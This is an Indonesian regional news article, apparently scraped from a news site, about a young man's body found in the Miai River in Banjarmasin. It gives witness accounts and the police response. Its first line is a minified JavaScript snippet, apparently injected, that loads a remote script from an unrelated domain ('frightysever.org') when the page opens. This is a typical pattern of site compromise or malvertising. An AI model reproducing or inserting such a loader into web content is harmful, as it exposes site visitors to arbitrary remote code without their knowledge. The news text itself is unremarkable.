(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Para pedagang kayu yang bongkar muat di aliran Sungai Miai, Jl Antasan Kecil Timur (AKT), Banjarmasin Utara, digegerkan penemuan mayat seorang laki-laki pada Kamis (21/6) sekitar pukul 10.30 Wita.
Dari Kartu Tanda Penduduk (KTP) di saku korban, mayat mengambang itu bernama Candra Syahbani (22) warga Gang Purnawa, Jalan S Parman, Kota Banjarmasin. Ketika ditemukan, korban dalam keadaan mengapung di samping klotok dengan kondisi badan sudah membengkak.
Salah seorang saksi mata, Ahmadi mengatakan sesosok mayat tersebut diketahui pertama kali oleh para penjual kayu di lokasi tersebut. “Dua orang warga tadi berteriak ada mayat di sana, langsung saja masyarakat berkumpul,†ungkapnya.
Saksi lainnya, Zaini menuturkan korban semula dikira karung yang larut di aliran sungai. Dia ketika itu menemukan korban saat hendak mengambil rokok di perahu klotok. “Ketika saya amati ternyata ada sendal korban saya semakin yakin ketika di kakinya ditarik, langsung saja saya lapor ke Ibu RT,†ujarnya.
Ketika ditemukan, kondisi mayat sudah dalam kondisi membengkak dan terdapat lebam. Di badan korban di temukan dompet dengan berisi KTP, ATM, uang sebesar Rp 26.000 ribu termasuk uang receh.
Setelah dievakuasi oleh tim relawan emergency dan DitPolair Polresta Banjarmasin, jenazah langsung dibawa ke Kamar Jenazah RSUD Kota Banjarmasin. Kapolsek Banjarmasin Utara Kompol Madyo Pranowo mengatakan anggota telah meninfokan keseluruh jajaran Polsek lain untuk memencari keluarganya.
Terkait hal tersebut, ibu korban Yesi langsung mendatangi kamar Jenazah RSUD Ulin Banjarmasin ketika diberi kabar oleh Tim Emergrncy gabungan Banjarnasin. “Anak saya (Candra) memang tidak pulang dari tadi malam. Saya dan keluarga sudah mencari dari kemarin tapi gak ketemu,” kisahnya ditemui di RS.
Untuk memastikan penyebab kematian, jenazah Candra akan dilakukan visum di RSUD Ulin Banjarmasin. Yesi tak menduga, bahwa putra kesayangannya meninggal dunia karena tak ada tanda-tanda sebelumnya. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.